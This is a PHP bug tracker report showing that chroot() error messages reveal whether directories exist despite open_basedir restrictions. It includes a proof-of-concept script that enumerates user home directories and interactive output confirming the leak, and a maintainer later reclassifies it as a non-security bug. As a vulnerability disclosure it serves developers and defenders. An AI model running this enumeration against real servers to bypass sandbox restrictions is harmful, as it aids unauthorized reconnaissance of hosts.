php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72826 open_basedir bypass via enumerating error msg returned by chroot()
Submitted: 2016-08-13 08:42 UTC Modified: 2021-07-12 17:22 UTC
From: zero_420_ at yahoo dot com Assigned:
Status: Open Package: Safe Mode/open_basedir
PHP Version: 5.5.38 OS: ubuntu
Private report: No CVE-ID: None
Have you experienced this issue?
Rate the importance of this bug to you:

 [2016-08-13 08:42 UTC] zero_420_ at yahoo dot com
Description:
------------
in the process of testing i believe i have discovered a possible security issue/information disclosure

error message returned by chroot() enables enumeration of directories regardless of open_basedir settings
chroot(): Operation not permitted (errno 1) ==> directory exists
chroot(): No such file or directory (errno 2) ==> directory !exists


Test script:
---------------
<?php
ini_set('open_basedir', getcwd());
printf("basedir: %s\n", ini_get('open_basedir'));
$dirlist = array();
$found = array();
for ($n = 0; $n < 9000; $n++) {
    $uid = @posix_getpwuid($n);
    if (!empty($uid)) {
        @array_push($dirlist, $uid['dir']);
    }
}
foreach ($dirlist as $path) {
	$err['message']='';
	@chroot($path);
	$err = error_get_last();
	if(strpos($err['message'],'(errno 1)')!==false){
		array_push($found, $path);
	}
}
foreach (array_unique($found) as $dir) {
	printf("found directory: %s\n", $dir);
}

Expected result:
----------------
with a security setting like open_basedir enforced
it should not be possible to disclose information about the structure of the underlying filesystem beyond the directory specified by the open_basedir directive.

ive provided a small proof of concept to demonstrate how this can be used to map out the directory structure

chroot seems to be missing a call to PG(open_basedir)/php_check_open_basedir_ex


Actual result:
--------------
(drop@logic:/tmp)$ php --version
PHP 5.5.9-1ubuntu4.19 (cli) (built: Jul 28 2016 19:31:33) 

(drop@logic:/tmp)$ php -a
Interactive mode enabled

php > ini_set('open_basedir', getcwd());
php > printf("basedir: %s\n", ini_get('open_basedir'));
basedir: /tmp
php > @chroot('/');
php > print_r(error_get_last());
Array
(
    [type] => 2
    [message] => chroot(): Operation not permitted (errno 1)
    [file] => php shell code
    [line] => 1
)
php > @chroot('/lol');
php > print_r(error_get_last());
Array
(
    [type] => 2
    [message] => chroot(): No such file or directory (errno 2)
    [file] => php shell code
    [line] => 1
)
php > 


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-05-20 12:41 UTC] cmb@php.net
> chroot seems to be missing a call to
> PG(open_basedir)/php_check_open_basedir_ex

Indeed.  I don't see why this would qualify as security issue,
though, since the exploit would require that an attacker can run
arbitrary scripts, in which case all bets are off.  That would not
be a sec issue according to our classification[1].  I'll leave
that for someone with a better background on POSIX to decide.

[1] <https://wiki.php.net/security#not_a_security_issue>
 [2021-07-12 15:40 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 15:40 UTC] cmb@php.net
open_basedir bypasses are not considered to be security issues;
cf. <https://externals.io/message/105606>
and <https://externals.io/message/115406>.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Mar 28 19:01:29 2024 UTC